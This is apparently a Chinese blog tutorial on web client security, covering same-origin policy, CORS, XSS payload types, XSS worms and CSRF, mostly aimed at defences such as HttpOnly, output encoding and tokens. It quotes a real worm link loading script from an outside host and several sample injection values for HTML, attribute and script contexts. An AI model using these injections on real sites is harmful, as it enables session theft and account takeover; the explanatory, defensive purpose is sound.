浅谈 XSS & CSRF

客户端(浏览器)安全

 

同源策略(Same Origin Policy)

同源策略阻止从一个源加载的文档或脚本获取或设置另外一个源加载的文档的属性。
 
如:
不能经过Ajax获取另外一个源的数据;
JavaScript不能访问页面中iframe加载的跨域资源。
 
对 http://store.company.com/dir/page.html 同源检测
 
 

跨域限制

  1. 浏览器中,script、img、iframe、link等标签,能够跨域引用或加载资源。
  2. 不一样于 XMLHttpRequest,经过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
  3. XMLHttpRequest 也受到也同源策略的约束,不能跨域访问资源。
 

JSONP

为了解决 XMLHttpRequest 同源策略的局限性,JSONP出现了。
JSONP并非一个官方的协议,它是利用script标签中src属性具备跨域加载资源的特性,而衍生出来的跨域数据访问方式。
 
 

CORS(Cross-Origin Resource Sharing) 

CORS,即: 跨域资源共享
这是W3C委员会制定的一个新标准,用于解决 XMLHttpRequest 不能跨域访问资源的问题。目前支持状况良好(特指移动端)。
想了解更多,可查看以前的文章: 《CORS(Cross-Origin Resource Sharing) 跨域资源共享》
 
 

 

XSS(Cross Site Script)

XSS(Cross Site Script) 即: 跨站脚本攻击
原本缩写其应该是CSS,不过为了不和CSS层叠样式表 (Cascading Style Sheets)重复,因此在安全领域叫作 XSS 。
 

XSS 分类

XSS 主要分为两种形态
  1. 反射型XSS(非持久型XSS)。须要诱惑用户去激活的XSS攻击,如:点击恶意连接。
  2. 存储型XSS。混杂有恶意代码的数据被存储在服务器端,当用户访问输出该数据的页面时,就会促发XSS攻击。具备很强的稳定性。
 

XSS Payload

XSS Payload,是指那些用于完成各类具体功能的恶意脚本。
因为实现XSS攻击能够经过JavaScript、ActiveX控件、Flash插件、Java插件等技术手段实现,下面只讨论JavaScript的XSS Payload。
 
经过JavaScript实现的XSS Payload,通常有如下几种:
  1. Cookie劫持
  2. 构造请求
  3. XSS钓鱼
  4. CSS History Hack
 

Cookie劫持

因为Cookie中,每每会存储着一些用户安全级别较高的信息,如:用户的登录凭证。
当用户所访问的网站被注入恶意代码,它只需经过  document.cookie 这句简单的JavaScript代码,就能够顺利获取到用户当前访问网站的cookies。
若是攻击者能获取到用户登录凭证的Cookie,甚至能够绕开登录流程,直接设置这个cookie的值,来访问用户的帐号。
 

构造请求

JavaScript 能够经过多种方式向服务器发送GET与POST请求。
网站的数据访问和操做,基本上都是经过向服务器发送请求而实现的。
若是让恶意代码顺利模拟用户操做,向服务器发送有效请求,将对用户形成重大损失。
例如:更改用户资料、删除用户信息等...
 

XSS钓鱼

关于网站钓鱼,详细你们应该也不陌生了。
就是伪造一个高度类似的网站,欺骗用户在钓鱼网站上面填写帐号密码或者进行交易。
而XSS钓鱼也是利用一样的原理。
注入页面的恶意代码,会弹出一个想死的弹窗,提示用户输入帐号密码登录。
当用户输入后点击发送,这些资料已经去到了攻击者的服务器上了。
 
如:
 
 
 

CSS History Hack

CSS History Hack是一个有意思的东西。它结合 浏览器历史记录 和 CSS的伪类:a:visited,经过遍历一个网址列表来获取其中<a>标签的颜色,就能知道用户访问过什么网站。
PS:目前最新版的Chrome、Firefox、Safari已经无效,Opera 和 IE8如下 还可使用。
 

XSS Worm

XSS Worm,即XSS蠕虫,是一种具备自我传播能力的XSS攻击,杀伤力很大。
引起 XSS蠕虫 的条件比较高,须要在用户之间发生交互行为的页面,这样才能造成有效的传播。通常要同时结合 反射型XSS 和 存储型XSS 。
案例:Samy Worm、新浪微博XSS攻击
 

新浪微博XSS攻击

这张图,其实已是XSS蠕虫传播阶段的截图了。
攻击者要让XSS蠕虫成功被激活,应该是经过 私信 或者 @微博 的方式,诱惑一些微博大号上当。
当这些大号中有人点击了攻击连接后,XSS蠕虫就被激活,开始传播了。
 
这个XSS的漏洞,其实就是没有对地址中的变量进行过滤。
把上图的连接decode了以后,咱们就能够很容易的看出,这个连接的猫腻在哪里。
连接上带的变量,直接输出页面,致使外部JavaScript代码成功注入。
 
传播连接:http://weibo.com/pub/star/g/xyyyd %22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
把连接decode以后:http://weibo.com/pub/star/g/xyyyd "><script src=//www.2kt.cn/images/t.js></script>?type=update
 
相关XSS代码这里就不贴了,Google一下就有。
其实也要感谢攻击者只是恶做剧了一下,让用户没有形成实际的损失。
网上也有人提到,若是这个漏洞结合XSS钓鱼,再配合隐性传播,那样杀伤力会更大。
 
 

 

XSS 防护技巧

 

HttpOnly

服务器端在设置安全级别高的Cookie时,带上HttpOnly的属性,就能防止JavaScript获取。
PHP设置HttpOnly:
1 <?
2 header("Set-Cookie: a=1;", false);
3 header("Set-Cookie: b=1;httponly", false);
4 setcookie("c", "1", NULL, NULL, NULL, NULL, ture);
 
PS:手机上的QQ浏览器4.0,竟然不支持httponly,而3.7的版本却没问题。测试平台是安卓4.0版本。
估计是一个低级的bug,已经向QQ浏览器那边反映了情。
截止时间:2013-01-28

 

输入检查

任何用户输入的数据,都是“不可信”的。
输入检查,通常是用于输入格式检查,例如:邮箱、电话号码、用户名这些...
都要按照规定的格式输入:电话号码必须纯是数字和规定长度;用户名除 中英文数字 外,仅容许输入几个安全的符号。
输入过滤不能彻底交由前端负责,前端的输入过滤只是为了不普通用户的错误输入,减轻服务器的负担。
由于攻击者彻底能够绕过正常输入流程,直接利用相关接口向服务器发送设置。
因此,前端和后端要作相同的过滤检查。
 
 

输出检查

相比输入检查,前端更适合作输出检查。
 
能够看到,HttpOnly和前端没直接关系,输入检查的关键点也不在于前端。
那XSS的防护就和前端不要紧了?
固然不是,随着移动端web开发发展起来了,Ajax的使用愈来愈广泛,愈来愈多的操做都交给前端来处理。
前端也须要作好XSS防护。
JavaScript直接经过Ajax向服务器请求数据,接口把数据以JSON格式返回。前端整合处理数据后,输出页面。
因此,前端的XSS防护点,在于输出检查。
但也要结合 XSS可能发生的场景
 

XSS注意场景

在HTML标签中输出
如:<a href=# >{$var}</a>
风险:{$var} 为 <img src=# onerror="/xss/" />
防护手段:变量HtmlEncode后输出
 
在HTML属性中输出
如:<div data-num="{$var}"></div>
风险:{$var} 为 " onclick="/xss/
防护手段:变量HtmlEncode后输出
 
在<script>标签中输出
如:<script>var num = {$var};</script>
风险:{$var} 为 1; alert(/xss/)
防护手段:确保输出变量在引号里面,再让变量JavaScriptEncode后输出。
 
在事件中输出
如:<span onclick="fun({$var})">hello!click me!</span>
风险:{$var} 为 ); alert(/xss/); //
防护手段:确保输出变量在引号里面,再让变量JavaScriptEncode后输出。
 
在CSS中输出
通常来讲,尽可能禁止用户可控制的变量在<style>标签和style属性中输出。
 
在地址中输出
如:<a href="http://3g.cn/?test={$var}">
风险:{$var} 为 " onclick="alert(/xss/)
防护手段:对URL中除 协议(Protocal) 和 主机(Host) 外进行URLEncode。若是整个连接都由变量输出,则须要判断是否是http开头。
 

HtmlEncode

对下列字符实现编码
&     ——》    &amp;
<     ——》    &lt;
>     ——》    &gt;
"    ——》    &quot;
'    ——》    &#39; (IE不支持&apos;)
/      ——》    &#x2F;
 

JavaScriptEncode

对下列字符加上反斜杠
"    ——》    \"
'    ——》    \'
\      ——》    \\
\n    ——》    \\n
\r     ——》    \\r      (Windows下的换行符)
 
例子: "\\".replace(/\\/g, "\\\\");  //return \\ 
推荐一个JavaScript的模板引擎: artTemplate
 
 

URLEncode

使用如下JS原生方法进行URI编码和解码:
  • encodeURI
  • decodeURI
  • decodeURIComponent
  • encodeURIComponent
 

 

CSRF(Cross-site request forgery)

 
CSRF 即: 跨站点请求伪造
网站A :为恶意网站。
网站B :用户已登陆的网站。
当用户访问 A站 时,A站 私自访问 B站 的操做连接,模拟用户操做。
 
假设B站有一个删除评论的连接:http://b.com/comment/?type=delete&id=81723
A站 直接访问该连接,就能删除用户在 B站 的评论。
 

CSRF 的攻击策略

由于浏览器访问 B站 相关连接时,会向其服务器发送 B站 保存在本地的Cookie,以判断用户是否登录。因此经过 A站 访问的连接,也能顺利执行。
 
 

 

CSRF 防护技巧

 

验证码

几乎全部人都知道验证码,但验证码不仅仅用来防止注册机的暴力破解,还能够有效防止CSRF的攻击。
验证码算是对抗CSRF攻击最简洁有效的方法。
但使用验证码的问题在于,不可能在用户的全部操做上都须要输入验证码。
只有一些关键的操做,才能要求输入验证码。
不过随着HTML5的发展。
利用canvas标签,前端也能识别验证码的字符,让CSRF生效。
 

Referer Check

Referer Check即来源检测。
HTTP Referer 是 Request Headers 的一部分,当浏览器向web服务器发出请求的时候,通常会带上Referer,告诉服务器用户从哪一个站点连接过来的。
服务器经过判断请求头中的referer,也能避免CSRF的攻击。
 

Token

CSRF能攻击成功,根本缘由是:操做所带的参数均被攻击者猜想到。
 
既然知道根本缘由,咱们就对症下药,利用 Token
当向服务器传参数时,带上Token。这个Token是一个 随机值,而且由 服务器和用户同时持有
Token能够存放在用户浏览器的Cookie中,
当用户提交表单时带上Token值,服务器就能验证表单和Cookie中的Token是否一致。
(前提,网站没有XSS漏洞,攻击者不能经过脚本获取用户的Cookie)
 
 
 
最后,送上 HTML安全备忘列表: http://heideri.ch/jso/
 
 
 
 
参考:
《白帽子讲Web安全 》
相关文章
相关标签/搜索